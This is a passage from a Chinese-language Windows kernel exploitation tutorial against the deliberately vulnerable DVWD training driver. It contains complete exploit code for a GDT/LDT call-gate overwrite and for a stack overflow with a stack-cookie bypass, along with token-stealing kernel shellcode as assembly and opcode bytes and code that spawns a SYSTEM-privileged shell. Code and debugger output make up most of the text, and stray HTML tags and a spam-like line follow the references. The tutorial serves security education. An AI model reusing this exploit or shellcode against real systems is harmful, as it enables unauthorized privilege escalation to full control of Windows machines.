              overwrite.StorePtr = (PVOID)KGDTEntry;
              ret = DeviceIoControl(hFile, DEVICEIO_DVWD_OVERWRITE, &overwrite, 0, NULL, 0, &dwReturn, NULL);
            
              CloseHandle(hFile);
            
              return TRUE;
             }
            
             return FALSE;
            }
            
            
            // Create a new LDT using ZwSetInformationProcess ----------------------------------
            BOOL SetLDTEnv(VOID) {
            
             NTSTATUS retStatus;
             LDT_ENTRY eLdt;
             PROCESS_LDT_INFORMATION infoLdt; 
             _ZwSetInformationProcess ZwSetInformationProcess;
            
             // Retrieve the address of the undocumented syscall ZwSetInformationProcess()
             ZwSetInformationProcess = (_ZwSetInformationProcess)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "ZwSetInformationProcess");
            
             if(!ZwSetInformationProcess)
              return FALSE;
            
             // Create and initialize a new LDT
             RtlZeroMemory(&eLdt, sizeof(LDT_ENTRY));
            
             RtlCopyMemory(&(infoLdt.LdtEntries[0]), &eLdt, sizeof(LDT_ENTRY));
             infoLdt.Start = 0;
             infoLdt.Length = sizeof(LDT_ENTRY);
            
             retStatus = ZwSetInformationProcess(GetCurrentProcess(), 
                         ProcessLdtInformation, 
                         &infoLdt, 
                         sizeof(PROCESS_LDT_INFORMATION));
            
             if(retStatus != STATUS_SUCCESS)
              return FALSE;
            
             return TRUE;
            }
            
            
            #define LDT_DESC_FROM_KPROCESS 0x20
            ULONG64 LDTDescStorage32=0;
            
            // Main function -------------------------------------------------------------------
            BOOL LDTDescOverwrite32(VOID) {
            
             PVOID kprocess,kprocessLDTDesc;
             PLDT_ENTRY pLDTDesc = (PLDT_ENTRY)&LDTDescStorage32;
             PVOID ReturnFromGateArea = NULL;
             PCALL_GATE32 pGate = NULL;
            
             // User standard SIDList Patch
             FARPROC KernelPayload = (FARPROC)UserShellcodeSIDListPatchCallGate;
            
             // Retrieve the KPROCESS Address == EPROCESS Address
             kprocess = FindCurrentEPROCESS();
             if(!kprocess)
              return FALSE;
            
             // Address of LDT Descriptor
             // kd> dt nt!_kprocess
             kprocessLDTDesc = (PBYTE)kprocess + LDT_DESC_FROM_KPROCESS;
             printf("[--] kprocessLDTDesc found at: %p\n", kprocessLDTDesc);
            
             // Create a new LDT entry
             if(!SetLDTEnv())
              return FALSE;
            
             // Fixup the Gate Payload (replace 0x41414141 by the address of the kernel payload)
             // and put it into executable memory
             RtlCopyMemory(ReturnFromGate + OFFSET_SHELLCODE, &KernelPayload, sizeof(FARPROC));
             ReturnFromGateArea = CreateUspaceExecMapping(1);
             RtlCopyMemory(ReturnFromGateArea, ReturnFromGate, sizeof(ReturnFromGate));
            
             // Build the Call-Gate(system descriptor), we pass the address of the shellcode
             pGate = CreateUspaceMapping(1);
             PrepareCallGate32(pGate, (PVOID)ReturnFromGateArea);
            
             // Build the fake LDT Descriptor with a Call-Gate (the one previously created) 
             PrepareLDTDescriptor32(pLDTDesc, (PVOID)pGate);
            
             printf("[--] LDT Descriptor fake: 0x%llx\n", LDTDescStorage32);
            
             // Trigger the vulnerability: overwrite the LdtDescriptor field in KPROCESS
             OverwriteGDTEntry(LDTDescStorage32, kprocessLDTDesc);
            
             // We force a process context switch
             // Indeed, the LDT segment descriptor into the GDT is updated only after a context 
             // switch. So, it's needed before being able to use the Call-Gate
             Sleep(1000);
            
             // Trigger the call gate via a FAR CALL (see assembly code)
             FarCall();
            
             return TRUE;
            }
            
            
            // This is where we begin ... ------------------------------------------------
            BOOL TriggerOverwrite32_LDTRemappingWay() {
            
             // Load the Kernel Executive ntoskrnl.exe in userland and get some symbol's kernel address
             if(LoadAndGetKernelBase() == FALSE)
              return FALSE;
            
             // We exploit the vulnerability with a payload that patches the SID list to get 
             // SYSTEM privilege and then we spawn a shell if it succeeds
             if(LDTDescOverwrite32() == TRUE) {
              if (CreateChild(_T("C:\\WINDOWS\\SYSTEM32\\CMD.EXE")) != TRUE) {
               wprintf(L"Error: unable to spawn process, Error: %d\n", GetLastError());
               return FALSE;
              }
             }
            
             return TRUE;
            }
            

            7. w00t ?


            利用運行結果如下:

            enter image description here

            再次w00t !!

            引用 0x02


            (1] GDT and LDT in Windows kernel vulnerability exploitation, by Matthew "j00ru" Jurczyk & Gynvael Coldwind, Hispasec (16 January 2010)

            (2] Intel Manual Vol. 3A & 3B http://www.intel.com/products/processor/manuals/

            (3] Task State Segment (TSS) http://en.wikipedia.org/wiki/Task_State_Segment

            (4] Call-Gate, by Ivanlef0u http://www.ivanlef0u.tuxfamily.org/?p=86

            0x04 利用基于棧的緩沖區溢出弱點-(繞過 cookie)


            在這篇文章中,當我們把很大的buffer傳遞到驅動(有DEVICEIO_DVWD_STACKOVERFLOW IOCTL)中時,我們將利用驅動中基于棧的緩沖區溢出弱點.主要是我們已得到位于內核態中的buffer且我們可以像在用戶態中那樣溢出它(內核態中的緩沖區溢出概念和用戶態中的溢出概念相同),正如我們在這個系列中的第一篇文章中看到的,使用RtlCopyMemory()函數是一件很糟糕的事.

            首先我們將明白在驅動中檢測弱點的方法接著我們將成功利用進程

            1. 觸發弱點


            為了觸發弱點,我已寫了一小段代碼:

            #!c++
            /* IOCTL */
            #define DEVICEIO_DVWD_STACKOVERFLOW  CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_NEITHER, FILE_READ_DATA | FILE_WRITE_DATA) 
            
            int main(int argc, char *argv[]) {
            
             char junk[512];
             HANDLE hDevice;
            
             printf("--[ Fuzz IOCTL DEVICEIO_DVWD_STACKOVERFLOW ---------------------------\n");
            
             printf("[~] Building junk data to send to the driver...\n");
             memset(junk, 'A', 511);
             junk[511] = '\0';
            
             printf("[~] Open an handle to the driver DVWD...\n");
             hDevice = CreateFile("\\\\.\\DVWD", 
                GENERIC_READ | GENERIC_WRITE, 
                FILE_SHARE_WRITE | FILE_SHARE_READ | FILE_SHARE_DELETE, 
                NULL, 
                OPEN_EXISTING, 
                0, 
                NULL);
             printf("\tHandle: %p\n",hDevice);
             getch();
            
             printf("[~] Send IOCTL DEVICEIO_DVWD_STACKOVERFLOW with junk data...\n");
             DeviceIoControl(hDevice, DEVICEIO_DVWD_STACKOVERFLOW, &junk, strlen(junk), NULL, 0, NULL, NULL);
            
            
             CloseHandle(hDevice);
             return 0;
            }
            

            代碼淺顯易懂,它僅發送512-字節的垃圾數據(事實上是511個’A’+’\0’).這應該足以溢出驅動使用的buffer了,它才64-字節長) 好的,讓我們編譯并運行上面的代碼吧,這是我們得到的結果:

            enter image description here

            BOUM!一個很棒的BSOD發生了!

            現在我們將用于測試的windows VM附加到遠程內核調試器中,那事實上正在另一臺windows VM中運行.所有關于使用VMware搭建的遠程調試環境的細節已在這篇文章中(1]給出.

            我們再次運行代碼,將buffer發送到驅動后,windows VM凍結了.

            enter image description here

            …同時,遠程內核調試器檢測到了”fatal system error”:

            #!bash
            *** Fatal System Error: 0x000000f7
                                   (0xB497BD51,0xF786C6EA,0x08793915,0x00000000)
            
            Break instruction exception - code 80000003 (first chance)
            
            A fatal system error has occurred.
            Debugger entered on first try; Bugcheck callbacks have not been invoked.
            
            A fatal system error has occurred.
            

            為了得到更多信息,我們輸入!analyze –v,接著我們得到結果如下:

            #!bash
            kd> !analyze -v
            *******************************************************************************
            *                                                                             *
            *                        Bugcheck Analysis                                    *
            *                                                                             *
            *******************************************************************************
            
            DRIVER_OVERRAN_STACK_BUFFER (f7)
            A driver has overrun a stack-based buffer.  This overrun could potentially
            allow a malicious user to gain control of this machine.
            DESCRIPTION
            A driver overran a stack-based buffer (or local variable) in a way that would
            have overwritten the function's return address and jumped back to an arbitrary
            address when the function returned.  This is the classic "buffer overrun"
            hacking attack and the system has been brought down to prevent a malicious user
            from gaining complete control of it.
            Do a kb to get a stack backtrace -- the last routine on the stack before the
            buffer overrun handlers and bugcheck call is the one that overran its local
            variable(s).
            Arguments:
            Arg1: b497bd51, Actual security check cookie from the stack
            Arg2: f786c6ea, Expected security check cookie
            Arg3: 08793915, Complement of the expected security check cookie
            Arg4: 00000000, zero
            
            Debugging Details:
            ------------------
            
            
            DEFAULT_BUCKET_ID:  GS_FALSE_POSITIVE_MISSING_GSFRAME
            
            SECURITY_COOKIE:  Expected f786c6ea found b497bd51
            
            BUGCHECK_STR:  0xF7
            
            PROCESS_NAME:  fuzzIOCTL.EXE
            
            CURRENT_IRQL:  0
            
            LAST_CONTROL_TRANSFER:  from 80825b5b to 8086cf70
            
            STACK_TEXT:
            f5d6f770 80825b5b 00000003 b497bd51 00000000 nt!RtlpBreakWithStatusInstruction
            f5d6f7bc 80826a4f 00000003 000001ff 0012fcdc nt!KiBugCheckDebugBreak+0x19
            f5d6fb54 80826de7 000000f7 b497bd51 f786c6ea nt!KeBugCheck2+0x5d1
            f5d6fb74 f7858662 000000f7 b497bd51 f786c6ea nt!KeBugCheckEx+0x1b
            WARNING: Stack unwind information not available. Following frames may be wrong.
            f5d6fb94 f7858316 f785808c 02503afa 82499078 DVWDDriver!DvwdHandleIoctlStackOverflow+0x5ce
            f5d6fc10 41414141 41414141 41414141 41414141 DVWDDriver!DvwdHandleIoctlStackOverflow+0x282
            f5d6fc14 41414141 41414141 41414141 41414141 0x41414141
            f5d6fc18 41414141 41414141 41414141 41414141 0x41414141
            [...]
            f5d6fd20 41414141 41414141 41414141 41414141 0x41414141
            f5d6fd24 41414141 41414141 41414141 41414141 0x41414141
            
            
            STACK_COMMAND:  kb
            
            FOLLOWUP_IP:
            DVWDDriver!DvwdHandleIoctlStackOverflow+5ce
            f7858662 cc              int     3
            
            SYMBOL_STACK_INDEX:  4
            
            SYMBOL_NAME:  DVWDDriver!DvwdHandleIoctlStackOverflow+5ce
            
            FOLLOWUP_NAME:  MachineOwner
            
            MODULE_NAME: DVWDDriver
            
            IMAGE_NAME:  DVWDDriver.sys
            
            DEBUG_FLR_IMAGE_TIMESTAMP:  4e08f4d5
            
            FAILURE_BUCKET_ID:  0xF7_MISSING_GSFRAME_DVWDDriver!DvwdHandleIoctlStackOverflow+5ce
            BUCKET_ID:  0xF7_MISSING_GSFRAME_DVWDDriver!DvwdHandleIoctlStackOverflow+5ce
            

            所以這是內核棧已被溢出的證明.我們可以看到在崩掉棧時,我們所有的’A’(0x41)在棧轉儲中.但意識到重要的錯誤信息是: DRIVER_OVERRAN_STACK_BUFFER (f7)那意味著通過內核可以直接檢測到棧溢出.這個錯誤可以確認為使用了一種機制Stack-Cookie-也被稱為Stack-Canary-用于避開棧溢出…. 原理和用戶態中的一樣(在MS Visual Studio的鏈接器中使用有用的/GS標志).通常,一個安全cookie(偽隨機4-字節值)被放在棧上(位于ebp的值和局部變量之間),因此我們想要達到目的且為了溢出存儲在EIP中的值,我們不得不溢出該值.當然,在這個函數的末尾,檢查安全cookie值而不顧原來的值(預期值).如果它們不匹配,那么我們在被觸發之前將會出現fatal error.

            2. Stack-Canary ?


            如果我們反匯編弱點函數,我們將看到如下:

            enter image description here

            在函數的末尾 有個__SEH_prolog4_GS調用:這是一個函數,它被用于:

            ? 創建對應于寫入了__try{}__except{}函數的異常句柄塊(EXCEPTION_REGISTRATION_RECORD) ? 創建Stack-Canary

            enter image description here

            無論如何,在函數的末尾中,我們可以看到一個__SEH_epilog4_GS的調用;這是一個函數(檢索當前Stack-Canary的值)并調用__security_check_cookie()函數.這末尾函數目的是用Stack-Canary的預期值與當前值進行比較.這個預期值(symbol: __security_cookie)將被存儲進.data段中.如果值不匹配,會像上次測試那樣崩掉系統(BSOD).

            enter image description here

            3.內核態中繞過Stack-Canary的方法


            要繞過Stack-Canary,目標是在檢查cookie之前(在調用 __security_check_cookie() 函數之前)觸發異常.所以,想法是生成內存故障異常(由于訪問了在用戶態中的一塊未被映射的區域,而不是在內核態中).為了實現該想法,我們將使用CreateFileMapping()和MapViewOfFileEx()API調用構造一塊被映射的內存區域(匿名映射)(閱讀(1])然后用shellcode的地址(稍后將會編寫)填充該區域.

            在發送一個DEVICEIO_DVWD_STACKOVERFLOW IOCTL時,重點理解我們如何將用戶態的buffer指針,及它的大小傳遞到驅動.技巧是用此方式(buffer的末端放置在接下來未被映射的頁中)調整buffer指針,這足以將buffer僅有的最后四字節放置在匿名映射范圍外.DVWDDriver的作者的書中用這幅圖相當好地闡明這一點:

            enter image description here

            通過這樣做,當驅動要讀取buffer(用于復制)時,它將終止試圖讀取在用戶態未被映射的內存區域.所以將會觸發異常,在內核態將可能使用SEH利用繞過Stack-Canary.

            4. Shellcoding


            為了我的測試,我決定不再使用DVWDExploit中給出的相同的shellcode了.除了把SID patch掉利用進程的訪問令牌外,我想用另一種提權方法:竊取SID == NT AUTHORITY\SYSTEM SID進程的訪問令牌,并用竊取的SID覆蓋掉利用進程的訪問令牌 我沒有為編寫shellcode而重造輪子,我僅是從papers(2]和(3]引用了兩段不錯的shellcode. 算法如下所示:

            1. _KPRCB中找到對應當前線程的 _KTHREAD結構體.
            2. _KTHREAD中找到對應當前進程的_EPROCESS結構體,
            3. 在_EPROCESS查找帶有PID=4的進程(uniqueProcessId=4);該"System"進程SID== NT AUTHORITY\SYSTEM SID
            4. 檢索那進程的令牌地址
            5. 對應我們想要提權的進程中找到_EPROCESS.
            6. 用”System”進程的令牌替換進程的Token.
            7. 使用SYSEXIT指令返回到用戶態中.在調用SYSEXIT之前,正如在(2]中解釋的那樣調整寄存器.為了直接跳轉到用戶態中的payload那將用完全特權運行.

            首先找到在Windows Server 2003 SP2中內核結構體的偏移.為了達到目的,我們將使用kd進行深入了解那些結構體

            #!c++
            kd> r
            eax=00000001 ebx=000063a3 ecx=80896d4c edx=000002f8 esi=00000000 edi=ed8fcfa8
            eip=8086cf70 esp=80894560 ebp=80894570 iopl=0         nv up ei pl nz na po nc
            cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000202
            
            kd> dg @fs
                                              P Si Gr Pr Lo
            Sel    Base     Limit     Type    l ze an es ng Flags
            ---- -------- -------- ---------- - -- -- -- -- --------
            0030 ffdff000 00001fff Data RW    0 Bg Pg P  Nl 00000c92
            
            kd> dt nt!_kpcr ffdff000
               [...]
               +0x120 PrcbData         : _KPRCB
            
            kd> dt nt!_kprcb ffdff000+0x120
               +0x000 MinorVersion     : 1
               +0x002 MajorVersion     : 1
               +0x004 CurrentThread    : 0x80896e40 _KTHREAD
               +0x008 NextThread       : (null)
               +0x00c IdleThread       : 0x80896e40 _KTHREAD
               [...]
            
            
            kd> dt nt!_kthread 0x80896e40
               +0x000 Header           : _DISPATCHER_HEADER
               +0x010 MutantListHead   : _LIST_ENTRY [ 0x80896e50 - 0x80896e50 ]
               +0x018 InitialStack     : 0x808948b0 Void
               +0x01c StackLimit       : 0x808918b0 Void
               +0x020 KernelStack      : 0x808945fc Void
               +0x024 ThreadLock       : 0
               +0x028 ApcState         : _KAPC_STATE
               +0x028 ApcStateFill     : [23]  "hn???"
               +0x03f ApcQueueable     : 0x1 ''
               [...]
            
            
            kd> dt nt!_kapc_state 0x80896e40+0x28
               +0x000 ApcListHead      : [2] _LIST_ENTRY [ 0x80896e68 - 0x80896e68 ]
               +0x010 Process          : 0x808970c0 _KPROCESS
               +0x014 KernelApcInProgress : 0 ''
               +0x015 KernelApcPending : 0 ''
               +0x016 UserApcPending   : 0 ''
            
            kd> dt nt!_eprocess 0x808970c0
               +0x000 Pcb              : _KPROCESS
               +0x078 ProcessLock      : _EX_PUSH_LOCK
               +0x080 CreateTime       : _LARGE_INTEGER 0x0
               +0x088 ExitTime         : _LARGE_INTEGER 0x0
               +0x090 RundownProtect   : _EX_RUNDOWN_REF
               +0x094 UniqueProcessId  : (null)
               +0x098 ActiveProcessLinks : _LIST_ENTRY [ 0x0 - 0x0 ]
               +0x0a0 QuotaUsage       : [3] 0
               +0x0ac QuotaPeak        : [3] 0
               +0x0b8 CommitCharge     : 0
               +0x0bc PeakVirtualSize  : 0
               +0x0c0 VirtualSize      : 0
               +0x0c4 SessionProcessLinks : _LIST_ENTRY [ 0x0 - 0x0 ]
               +0x0cc DebugPort        : (null)
               +0x0d0 ExceptionPort    : (null)
               +0x0d4 ObjectTable      : 0xe1000c60 _HANDLE_TABLE
               +0x0d8 Token            : _EX_FAST_REF
               +0x0dc WorkingSetPage   : 0x17f40
               [...]
            
            kd> dt nt!_list_entry
               +0x000 Flink            : Ptr32 _LIST_ENTRY
               +0x004 Blink            : Ptr32 _LIST_ENTRY
            
            kd> dt nt!_token -r1 @@(0xe1001727 & ~7)
               +0x000 TokenSource      : _TOKEN_SOURCE
                  +0x000 SourceName       : [8]  "*SYSTEM*"
                  +0x008 SourceIdentifier : _LUID
               +0x010 TokenId          : _LUID
                  +0x000 LowPart          : 0x3ea
                  +0x004 HighPart         : 0n0
               +0x018 AuthenticationId : _LUID
                  +0x000 LowPart          : 0x3e7
                  +0x004 HighPart         : 0n0
               +0x020 ParentTokenId    : _LUID
                  +0x000 LowPart          : 0
                  +0x004 HighPart         : 0n0
               +0x028 ExpirationTime   : _LARGE_INTEGER 0x6207526`b64ceb90
                  +0x000 LowPart          : 0xb64ceb90
                  +0x004 HighPart         : 0n102790438
                  +0x000 u                : __unnamed
                  +0x000 QuadPart         : 0n441481572610010000
               [...]
            

            從這:我們可以推算出偏移(幫助你在Windows Server 2003 SP2 上編寫shellcode)

            ? _KTHREAD:定位于fs:[0x124](在 FS段描述符指向 _KPCR的位置) ? _EPROCESS: 從_KTHREAD開始到0x38 ? 一個雙鏈表,它鏈接所有_EPROCESS結構(所有進程中).被定位于從_EPROCESS開始到0x98偏移范圍.在該雙鏈表內,它也對應下一元素(Flink)的指針. ? _EPROCESS.UniqueProcessId: 它是相應進程的PID.從_EPROCESS開始定位于0x94偏移上 ? _EPROCESS.Token: 該結構體含有訪問令牌.在_EPROCESS中的偏移是0xD8.(必須用8調整)

            #!c++
            .486
            .model flat,stdcall
            option casemap:none
            include \masm32\include\windows.inc
            include \masm32\include\kernel32.inc
            includelib \masm32\lib\kernel32.lib
            assume fs:nothing
            
            .code
            
            shellcode:
            
            ; ----------------------------------------------------------------------
            ;                  Shellcode for Windows Server 2k3
            ; ----------------------------------------------------------------------
            
            ; Offsets
            WIN2K3_KTHREAD_OFFSET   equ 124h    ; nt!_KPCR.PcrbData.CurrentThread
            WIN2K3_EPROCESS_OFFSET  equ 038h    ; nt!_KTHREAD.ApcState.Process
            WIN2K3_FLINK_OFFSET     equ 098h    ; nt!_EPROCESS.ActiveProcessLinks.Flink
            WIN2K3_PID_OFFSET       equ 094h    ; nt!_EPROCESS.UniqueProcessId
            WIN2K3_TOKEN_OFFSET     equ 0d8h    ; nt!_EPROCESS.Token
            WIN2K3_SYS_PID          equ 04h     ; PID Process SYSTEM
            
            
            pushad                                ; save registers
            
            mov eax, fs:[WIN2K3_KTHREAD_OFFSET]   ; EAX <- current _KTHREAD
            mov eax, [eax+WIN2K3_EPROCESS_OFFSET] ; EAX <- current _KPROCESS == _EPROCESS
            push eax
            
            
            mov ebx, WIN2K3_SYS_PID
            
            SearchProcessPidSystem:
            
            mov eax, [eax+WIN2K3_FLINK_OFFSET]    ; EAX <- _EPROCESS.ActiveProcessLinks.Flink
            sub eax, WIN2K3_FLINK_OFFSET          ; EAX <- _EPROCESS of the next process
            cmp [eax+WIN2K3_PID_OFFSET], ebx      ; UniqueProcessId == SYSTEM PID ?
            jne SearchProcessPidSystem            ; if no, retry with the next process...
            
            mov edi, [eax+WIN2K3_TOKEN_OFFSET]    ; EDI <- Token of process with SYSTEM PID
            and edi, 0fffffff8h                   ; Must be aligned by 8
            
            pop eax                               ; EAX <- current _EPROCESS 
            
            
            mov ebx, 41414141h
            
            SearchProcessPidToEscalate:
            
            mov eax, [eax+WIN2K3_FLINK_OFFSET]    ; EAX <- _EPROCESS.ActiveProcessLinks.Flink
            sub eax, WIN2K3_FLINK_OFFSET          ; EAX <- _EPROCESS of the next process
            cmp [eax+WIN2K3_PID_OFFSET], ebx      ; UniqueProcessId == PID of the process 
                                                  ; to escalate ?
            jne SearchProcessPidToEscalate        ; if no, retry with the next process...
            
            SwapTokens:
            
            mov [eax+WIN2K3_TOKEN_OFFSET], edi    ; We replace the token of the process 
                                                  ; to escalate by the token of the process
                                                  ; with SYSTEM PID
            
            PartyIsOver:
            
            popad                                 ; restore registers
            mov edx, 11111111h                    ; EIP value after SYSEXIT
            mov ecx, 22222222h                    ; ESP value after SYSEXIT
            mov eax, 3Bh                          ; FS value in userland (points to _TEB)
            db 8Eh, 0E0h                          ; mov fs, ax
            db 0Fh, 35h                           ; SYSEXIT
            
            end shellcode
            我們用MASM匯編這段匯編代碼并索引操作碼的對應序列(Tools > Load Binary File as Hex)我們得到:
            00000200 :60 64 A1 24 01 00 00 8B - 40 38 50 BB 04 00 00 00
            00000210 :8B 80 98 00 00 00 2D 98 - 00 00 00 39 98 94 00 00
            00000220 :00 75 ED 8B B8 D8 00 00 - 00 83 E7 F8 58 BB 41 41
            00000230 :41 41 8B 80 98 00 00 00 - 2D 98 00 00 00 39 98 94
            00000240 :00 00 00 75 ED 89 B8 D8 - 00 00 00 61 BA 11 11 11
            00000250 :11 B9 22 22 22 22 B8 3B - 00 00 00 8E E0 0F 35 00
            

            當然,在使用這段shellcode前,需要替換進程的PID來提升特權,在SYSEXIT后分別使用EIP和ESP值,在發送buffer前我們將用代碼實現它.

            5. 利用方法論


            利用的過程如下:

            1. 創建一塊可執行的內存區域并將上一段shellcode(用于交換令牌)放入區域中。
            2. 類似地,創建一塊可執行的內存區域并將shellcode(在提權之后執行)放入其中。
            3. 更新第一段shellcode:提升進程的PID,在SYSEXIT后使用EIP,在SYSEXIT后使用ESP.(4]中采用了此方法.
            4. 為我們的buffer構造一塊匿名映射區域
            5. 用第一段shellcode的地址填充這塊映射區域
            6. 用此方式(最后4字節位于一塊未被映射的內存區域)調節buffer指針
            7. 將buffer發送到驅動(用the DEVICEIO_DVWD_STACKOVERFLOW IOCTL).

            6.利用代碼


            這是利用程序的主函數.鑒于上一個利用程序,它應該相當易懂:

            #!c++
            VOID TriggerOverflow32(VOID) {
            
             HANDLE hFile;
             DWORD dwReturn;
             UCHAR* map;
             UCHAR *uBuff = NULL;
             BOOL ret;
             ULONG_PTR pShellcode;
            
             // Load the Kernel Executive ntoskrnl.exe in userland and get some 
             // symbol's kernel address
             if(LoadAndGetKernelBase() == FALSE)
              return;
            
            
             // Put the shellcodes in executable memory
             mapShellcodeSwapTokens = (UCHAR *)CreateUspaceExecMapping(1);
             mapShellcodePayload    = (UCHAR *)CreateUspaceExecMapping(1);
            
             memset(mapShellcodeSwapTokens, '\x00', GlobalInfo.dwAllocationGranularity);
             memset(mapShellcodePayload, '\x00', GlobalInfo.dwAllocationGranularity);
            
             RtlCopyMemory(mapShellcodeSwapTokens, ShellcodeSwapTokens, sizeof(ShellcodeSwapTokens));
             RtlCopyMemory(mapShellcodePayload, ShellcodePayload, sizeof(ShellcodePayload));
            
            
             // Added
             printf("[~] Update Shellcode with PID of the process...\n");
             if(!MajShellcodePid(L"DVWDExploit.exe")) {
              printf("[!] An error occured, exitting...\n");
              return;
             }
            
             printf("[~] Update Shellcode with EIP to use after SYSEXIT...\n");
             if(!MajShellcodeEip()) {
              printf("[!] An error occured, exitting...\n");
              return;
             }
            
             printf("[~] Update Shellcode with ESP to use after SYSEXIT...\n");
             if(!MajShellcodeEsp()) {
              printf("[!] An error occured, exitting...\n");
              return;
             }
            
             printf("[~] Retrieve the address of the shellcode and build the buffer...\n");
            
             // Create an anonymous map
             map = (UCHAR *)CreateUspaceMapping(1);
             // Retrieve the address of the shellcode
             pShellcode = (ULONG_PTR)mapShellcodeSwapTokens;
            
             // We fill the map with the address of our shellcode (the address is repeated)
             FillMap(map, pShellcode, GlobalInfo.dwAllocationGranularity);
            
             // We adjust the pointer to the buffer (size = BUFF_SIZE) in such a way that the 
             // last 4 bytes are in an unmapped memory area
             uBuff = map + GlobalInfo.dwAllocationGranularity - (BUFF_SIZE-sizeof(ULONG_PTR));
            
             // Now, we send our buffer to the driver and trigger the overflow
             hFile = CreateFile(_T("\\\\.\\DVWD"), GENERIC_READ | GENERIC_WRITE, FILE_SHARE_WRITE | FILE_SHARE_READ | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, NULL);
             deviceHandle = hFile;
            
             if(hFile != INVALID_HANDLE_VALUE)
              ret = DeviceIoControl(hFile, DEVICEIO_DVWD_STACKOVERFLOW, uBuff, BUFF_SIZE, NULL, 0, &dwReturn, NULL);
            
             // If you get here the vulnerability has not been triggered ...
             printf("[!] Stack overflow has not been triggered, maybe the driver has not been loaded ?\n");
             return;
            }
            

            7.你機器上的一切都屬于我們


            為了測試,我已放置了從Metasploit中獲取(帶有計算器calc.exe shellcode)的payload.然而我們可以做其他任何事。。。。

            enter image description here

            我們的calc.exe帶有NT AUTHORITY\SYSTEM 特權,因此這意味著權限成功提升且payload被成功執行

            引用

            (1] CreateFileMapping() function http://msdn.microsoft.com/en-us/library/aa366537(v=vs.85).aspx

            (2] MapViewOfFileEx() function http://msdn.microsoft.com/en-us/library/aa366763(v=VS.85).aspx

            (3] Remote Debugging using VMWare http://www.catch22.net/tuts/vmware

            (4] Local Stack Overflow in Windows Kernel, by Heurs http://www.ghostsinthestack.org/article-29-local-stack-overflow-in-windows-kernel.html

            (5] Exploiting Windows Device Drivers, by Piotr Bania http://pb.specialised.info/all/articles/ewdd.pdf

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线